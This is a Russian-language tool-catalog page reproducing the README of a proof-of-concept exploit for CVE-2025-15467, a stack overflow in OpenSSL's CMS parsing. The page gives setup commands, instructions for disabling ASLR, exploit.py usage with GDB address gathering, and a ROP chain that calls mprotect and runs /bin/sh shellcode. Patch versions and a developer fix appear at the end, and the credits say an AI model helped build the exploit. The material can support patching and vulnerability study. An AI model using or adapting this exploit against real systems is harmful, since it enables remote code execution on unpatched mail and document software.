Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-15467 — PoC выполнения команд для переполнения буфера стека OpenSSL CVE-2025-15467 | Kitploit
Инструменты/GitHubGitHub/guiimoraes/cve-2025-15467
Анализ уязвимостейЭксплуатацияОбратная инженерияШелл-кодКриптографияОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubguiimoraes/cve-2025-15467

CVE-2025-15467

PoC выполнения команд для переполнения буфера стека OpenSSL CVE-2025-15467

Репозиторий
1535 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-15467: Переполнение стека в OpenSSL CMS AuthEnvelopedData

Обзор

CVE-2025-15467 — это критическая уязвимость переполнения стекового буфера в коде разбора CMS (Cryptographic Message Syntax) в OpenSSL. Уязвимость существует в функции evp_cipher_get_asn1_aead_params() при обработке векторов инициализации (IV) AES-GCM в структурах CMS AuthEnvelopedData.

СвойствоЗначение
Идентификатор CVECVE-2025-15467
СерьезностьВысокая
CVSS8.1+
Затронутые версииOpenSSL 3.0 – 3.6 (до исправлений)
ВлияниеУдаленное выполнение кода (RCE)
Вектор атакиСеть (разбор вредоносных CMS/S-MIME)
АутентификацияНе требуется

Детали уязвимости

Первопричина

Уязвимость находится в crypto/evp/evp_lib.c:

root@kitploit:~
int evp_cipher_get_asn1_aead_params(EVP_CIPHER_CTX *c, ASN1_TYPE *type,
                                    evp_cipher_aead_asn1_params *asn1_params)
{
    int i = 0;
    long tl;
    unsigned char iv[EVP_MAX_IV_LENGTH];  // Fixed 16-byte buffer!

    if (type == NULL || asn1_params == NULL)
        return 0;

    i = ossl_asn1_type_get_octetstring_int(type, &tl, NULL, EVP_MAX_IV_LENGTH);
    if (i <= 0)
        return -1;
    
    // BUG: Uses 'i' (attacker-controlled) as max_len instead of EVP_MAX_IV_LENGTH
    ossl_asn1_type_get_octetstring_int(type, &tl, iv, i);  // OVERFLOW!

    memcpy(asn1_params->iv, iv, i);
    asn1_params->iv_len = i;

    return i;
}

Ошибка

  1. iv — это фиксированный 16-байтовый стековый буфер (EVP_MAX_IV_LENGTH = 16)
  2. Первый вызов ossl_asn1_type_get_octetstring_int() возвращает длину IV из файла
  3. Второй вызов использует эту длину (i) как параметр max_len
  4. Если i > 16, функция записывает за пределами буфера → Переполнение стекового буфера

Эксплуатация

Переполнение возникает во время расшифровки CMS при разборе параметров GCM. Злоумышленник может:

  1. Создать вредоносный файл CMS AuthEnvelopedData с увеличенным IV
  2. Переполнить стековый буфер, чтобы перезаписать адрес возврата
  3. Перенаправить выполнение на шелл-код, контролируемый атакующим
  4. Достичь удаленного выполнения кода

Затронутые приложения

Любое приложение, которое анализирует ненадежное содержимое CMS/PKCS#7 с шифрами AEAD:

  • Почтовые клиенты, обрабатывающие сообщения S/MIME
  • Приложения для подписания документов
  • Инструменты управления сертификатами
  • Реализации VPN/TLS, использующие CMS
  • Любое программное обеспечение, вызывающее CMS_decrypt() или аналогичные функции

Доказательство концепции

Предварительные требования

root@kitploit:~
# Install dependencies
pip install pwntools  # Optional, for auto gadget detection

# Clone this repository
git clone https://github.com/guiimoraes/CVE-2025-15467.git
cd CVE-2025-15467

# Run setup script to compile vulnerable OpenSSL
chmod +x setup.sh
./setup.sh

Или вручную:

root@kitploit:~
# Download and compile vulnerable OpenSSL 3.4.0
wget https://www.openssl.org/source/openssl-3.4.0.tar.gz
tar -xzf openssl-3.4.0.tar.gz
cd openssl-3.4.0

# Compile WITHOUT stack protector for easier demonstration
./Configure linux-x86_64 \
    --prefix=/opt/openssl-vuln \
    -fno-stack-protector \
    -D_FORTIFY_SOURCE=0 \
    -z execstack

make -j$(nproc)
sudo make install
cd ..

Генерация тестового сертификата

root@kitploit:~
export LD_LIBRARY_PATH=/opt/openssl-vuln/lib64

# Generate key and certificate
/opt/openssl-vuln/bin/openssl genrsa -out dummy.key 2048
/opt/openssl-vuln/bin/openssl req -new -x509 -key dummy.key -out dummy.crt \
    -days 1 -subj "/CN=Test"

# Create valid CMS file (needed as template)
echo "test" > plain.txt
/opt/openssl-vuln/bin/openssl cms -encrypt -aes-256-gcm \
    -in plain.txt -out valid.cms -outform DER dummy.crt

# Verify it works
/opt/openssl-vuln/bin/openssl cms -decrypt -in valid.cms -inform DER \
    -inkey dummy.key -recip dummy.crt

Метод 1: Автоматический режим (рекомендуется)

Эксплойт может автоматически определять адреса, когда ASLR отключен:

root@kitploit:~
# Disable ASLR (requires root)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Run exploit with auto-detection
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 python3 exploit.py --auto \
    /opt/openssl-vuln/bin/openssl valid.cms dummy.key dummy.crt

# Execute the exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

# You should get a shell!

Метод 2: Ручные адреса (через GDB)

Если автоматическое определение не удается, получите адреса вручную:

root@kitploit:~
# Get addresses from GDB
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 gdb -q /opt/openssl-vuln/bin/openssl

(gdb) break main
(gdb) run cms -decrypt -in valid.cms -inform DER -inkey dummy.key -recip dummy.crt
(gdb) info proc mappings   # Get libc and libcrypto base addresses
(gdb) continue
(gdb) # When it hits evp_cipher_get_asn1_aead_params:
(gdb) print/x $rsp         # Get stack address

Пример вывода:

root@kitploit:~
libc-2.31.so:     0x7ffff7711000
libcrypto.so.3:   0x7ffff7936000
RSP:              0x7fffffffdc58

Затем сгенерируйте эксплойт:

root@kitploit:~
# Generate exploit with manual addresses
# Arguments: <libcrypto_base> <libc_base> <stack_addr> [valid.cms]
python3 exploit.py 0x7ffff7936000 0x7ffff7711000 0x7fffffffdc58 valid.cms

# Run exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

Как работает эксплойт

  1. Модификация валидного CMS: Берет валидный файл CMS и заменяет 12-байтовый IV на вредоносную нагрузку
  2. Переполнение стека: Увеличенный IV переполняет 16-байтовый буфер, перезаписывая сохраненные регистры и адрес возврата
  3. Цепочка ROP: Использует Return-Oriented Programming для вызова mprotect() и делает стек исполняемым
  4. Выполнение шелл-кода: После mprotect() переходит к шелл-коду на стеке через гаджет jmp rsp
  5. Оболочка: Выполняет execve("/bin/sh", NULL, NULL) для запуска оболочки

Структура цепочки ROP

root@kitploit:~
[padding: 56 bytes to reach saved RIP]
[pop rdi; ret]        <- Set RDI = stack_page (for mprotect arg1)
[stack_page address]
[pop rsi; ret]        <- Set RSI = 0x1000 (for mprotect arg2)
[0x1000]
[pop rdx; pop rbx; ret] <- Set RDX = 7 (PROT_RWX for mprotect arg3)
[7]
[0]                   <- Dummy for RBX
[mprotect]            <- Call mprotect(stack_page, 0x1000, 7)
[jmp rsp]             <- Jump to shellcode
[shellcode]           <- execve("/bin/sh", NULL, NULL)

Файлы

ФайлОписание
exploit.pyОсновной эксплойт с автоматическим и ручным режимами
setup.shСкрипт для компиляции уязвимой версии OpenSSL

Смягчающие меры

Для пользователей

  1. Обновите OpenSSL до исправленных версий:

    • OpenSSL 3.6.1+
    • OpenSSL 3.5.5+
    • OpenSSL 3.4.4+
    • OpenSSL 3.3.6+
    • OpenSSL 3.0.19+
  2. Не обрабатывайте ненадежное содержимое CMS/S-MIME до установки исправлений

Для разработчиков

  1. Проверяйте длину IV перед копированием:
root@kitploit:~
if (i > EVP_MAX_IV_LENGTH)
    return -1;
  1. Используйте правильный max_len во втором вызове:
root@kitploit:~
ossl_asn1_type_get_octetstring_int(type, &tl, iv, EVP_MAX_IV_LENGTH);

Хронология

ДатаСобытие
2025-12-14Уязвимость сообщена OpenSSL
2026-01-27Опубликовано сообщение о безопасности
2026-01-27Выпущены исправления

Ссылки

  • Уведомление безопасности OpenSSL
  • CVE-2025-15467

Благодарности

  • Guilherme Moraes (@guiimoraes) — Разработка эксплойта
  • Claude Opus 4.5 (Anthropic) — Исследования и разработка с помощью ИИ

Отказ от ответственности

Это доказательство концепции предоставлено только для образовательных и авторизованных целей тестирования безопасности. Несанкционированный доступ к компьютерным системам незаконен. Используйте ответственно.

Лицензия

Лицензия MIT — Подробности см. в файле LICENSE.

Скачать инструмент
README.mdЭта документация
TECHNICAL.mdТехнический анализ уязвимости